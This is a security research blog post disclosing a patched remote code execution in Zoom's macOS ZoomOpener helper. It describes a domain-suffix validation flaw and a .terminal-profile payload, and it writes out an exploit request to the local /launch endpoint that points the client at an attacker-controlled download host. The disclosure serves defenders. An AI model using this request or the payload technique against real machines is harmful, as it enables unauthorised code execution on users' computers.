Zoom Zero Day Followup: Getting the RCE
Last week, Jonathan Leitschuch wrote an excellent blog post covering the vulnerabilities within Zoom’s Mac client. Jonathan’s research was independent of ours, and since the vulnerabilities are now patched, we wanted to disclose a remote code execution with the same root cause, and share our story of coming across the initial privacy issue and escalating it into something much worse.
In March, the Assetnote team participated in a live hacking event in Singapore for a large Silicon Valley based target. They’re a Zoom customer, and as part of their vendor security efforts, had made Zoom privately in-scope for their bug bounty. As a distributed team, we also considered this a great opportunity to connect and collaborate as a team effort.
Finding the Initial Vector
Sean Yeoh, our Engineering Lead, and our CTO Shubham Shah happened to be on the same flight to Singapore, and we had eight hours to kill before landing. As you might expect, our approach relies heavily on the reconnaissance of external attack surfaces, but due to the low-speed wifi network 30,000 ft up in the air, we found this a bit impractical. Eager to hack, we decided to look at Zoom’s desktop client on macOS.
One of the first things we noticed was a binary named ZoomOpener packaged with the Zoom macOS client. The binary registered a URL handler. <span class="code_single-line">zoomopener://</span>, and ran a local webserver as a daemon on port 19421.
Curious about the purpose/functionality of the webserver, we loaded ZoomOpener in our disassembler and started poking around. Soon enough, we were able to find an endpoint called <span class="code_single-line">/launch</span>, and after a bit of fuzzing discovered that this could potentially trigger a download and installation of a macOS installer package.
This sounds like the precursor to a Remote Code Execution bug, and we agreed it was worth investigating further. We spent the rest of the flight trying to build a proof of concept without much luck, discovering that this functionality was more complex than we originally thought.
Shubs and Sean were also finding difficulty in understanding the Objective-C the Zoom client is written in, so they left it until we were with the team to collaborate further on the proof of concept.
Fortunately, we were in good hands after landing. Michael Gianarakis, our CEO, has done a lot of research into iOS hacking and is very experienced with Objective-C.
The Logic Flaw
Michael started looking at the ZoomOpener binary the next day in our hotel room in Singapore. Diving into the decompilation we discovered that when the software update is triggered with the correct endpoint the function <span class="code_single-line">downloadZoomClientForDomain:</span> in the <span class="code_single-line">ZMLauncherMgr</span> class is called passing in the domain supplied to the <span class="code_single-line">launch</span> endpoint on the local webserver.
This function first checks if a downloaded installer package is already on the user’s machine and if a package is there proceed to install it using the <span class="code_single-line">installPkg:</span> function also in the <span class="code_single-line">ZMLauncherMgr</span> class.
view rawcheckdownload.m hosted with ❤ by GitHub
If no package is downloaded the function will trigger the download with the domain supplied as an argument to the <span class="code_single-line">launch</span> endpoint. Before downloading the installer the function checks the supplied domain matches on of four hardcoded domains (zoom.us, zipow.com, zoomgov.com and zoom.com):
view rawdomains.m hosted with ❤ by GitHub
If the code doesn’t directly match these strings it executes this code:
view rawlogicflaw.m hosted with ❤ by GitHub
This code block determines whether or not the domain parameter contains a value that has a suffix of any of the following values:
- zoomgov.com
- zoom.us
- zoom.com
- zipow.com
Once downloaded the package is installed using the <span class="code_single-line">installPkg:</span> function in the <span class="code_single-line">ZMLauncherMgr</span> class:
view rawinstallpkg.m hosted with ❤ by GitHub
This code takes the downloaded package and passes it to the <span class="code_single-line">installer</span> binary on macOS (<span class="code_single-line">/usr/sbin/installer</span>) to install. There did not seem to be any integrity checks.
Putting this all together we determined we could get RCE in one of two ways:
- Through a subdomain takeover on any of the whitelisted domains (as suggested in Jonathan’s post)
- Launching an install using a domain such as “baddomain.com/.zoom.us” and serving a malicious installer package.
Ruby Nealon, Assetnote’s R&D Lead, looked briefly for subdomain takeovers with no luck while Michael validated the exploitability of the second option via hooking into the ZoomOpener process and calling the <span class="code_single-line">downloadZoomClientForDomain:</span> with a domain pointing to some infrastructure Sean set up to serve the malicious files.
Triggering The Download
With the exploitability of the logic flaw confirmed we went to work on reliably triggering the download and pulling together a workable PoC. This involved figuring out some seemingly impenetrable JavaScript so we passed it on to Huey Peard, Assetnote’s front-end guru, and resident number runner.
Diving into the JavaScript we determined that the Zoom local server loads an image in an iframe and the dimensions of that image are mapped to a series of “status codes” that determine what actions get triggered in ZoomOpener.
view rawstatuscodes.js hosted with ❤ by GitHub
Once Huey had figured this out, we tried to trigger the correct code for downloading and installing a new version. After a lot of time messing around with the Zoom install we determined that necessary pre-condition to trigger this state was to have Zoom uninstalled after being previously installed.
When Zoom is installed it creates a folder in the user’s home directory ~/.zoomus which leaves behind a copy of the vulnerable ZoomOpener even if Zoom is uninstalled. It’s worth noting that this has now been patched and this behaviour is no longer present.
With the necessary pre-conditions understood we can trigger the download from our server by issuing the following request to the ZoomOpener server:
<span class="code_single-line">http://localhost:19421/launch?action=launch&domain=assetnotehackszoom.com/attacker.zoom.us&usv=66916&uuid=-7839939700717828646&t=1553838149048</span>
Setting Up The Download Server
There were a few more steps required to get ZoomOpener to download our payload. When analysing the <span class="code_single-line">downloadZoomClientForDomain:</span> function Michael noticed that it called the <span class="code_single-line">getDownloadURL:</span> method in the <span class="code_single-line">ZMClientHelper</span> class.
This function takes in the domain passed to the <span class="code_single-line">launch</span> endpoint and returns a string with the download path it expects from the server:
When you hit this URL with a valid domain it returns a bunch of information:
With this in mind Huey set up our server to respond accordingly when that path was hit:
Crafting the Payload
Now that our server was set up to serve our payload we needed to write the payload. Initially, we set out to create a macOS installer package with a pre-installation script that ran our code however we struggled to make this approach work for our PoC.
The pkg file would run as intended however unlike the regular functionality of ZoomOpener it would present the macOS installer GUI which a user would have to click through to get it to work. While feasible, this wasn’t ideal for an attack PoC. We wanted something more discrete and with the pressure of the competition, we focussed on other techniques.
After tinkering with command injection via the package filename Shubs suggested trying a technique he had used before on other bug bounties.
In the Terminal app on macOS, you can create a terminal profile (<span class="code_single-line">.terminal file</span>) that allows you to specify a startup command. Using this technique you can run commands while bypassing any permission or code signing restrictions.
Shubs created the following <span class="code_single-line">.terminal</span> profile and set the server to deliver it as the payload.
We triggered the download and…..success!
This technique had worked and we now had RCE but typically this technique works when passed to <span class="code_single-line">openURL:</span> or <span class="code_single-line">openFile:</span> and there weren’t any calls to those functions in the ZoomOpener functions we had anlaysed so far.
Revisiting the <span class="code_single-line">installPkg:</span> function in more depth we noticed that it called the <span class="code_single-line">installComplete:</span> function in the <span class="code_single-line">ZMLauncherMgr</span> class regardless of the outcome of the <span class="code_single-line">installer</span> command.
The <span class="code_single-line">installComplete:</span> function was indeed passing the <span class="code_single-line">.terminal</span> file to <span class="code_single-line">openFile:</span>.
Michael confirmed this using Frida:
The Final PoC
With all the peices in place now we had a working PoC for RCE on macOS.
Since Jonathan publically disclosed this bug there have been several fixes that have been pushed from both Zoom and Apple to address this issue. None of these techniques work in the latest versions and we recommend you apply all the necessary patches to reduce your exposure.
We also recommend checking out this great guide by Karan Lyons which also covers the various white-label versions of Zoom’s macOS client which were also vulnerable.
We don’t usually focus on thick-client bugs at these events and while this was the only bug we ended up submitting the process of exploiting this vulnerability with the team of talented hackers at Assetnote was a highlight.
More Like This
Ready to get started?
Get on a call with our team and learn how Assetnote can change the way you secure your attack surface. We'll set you up with a trial instance so you can see the impact for yourself.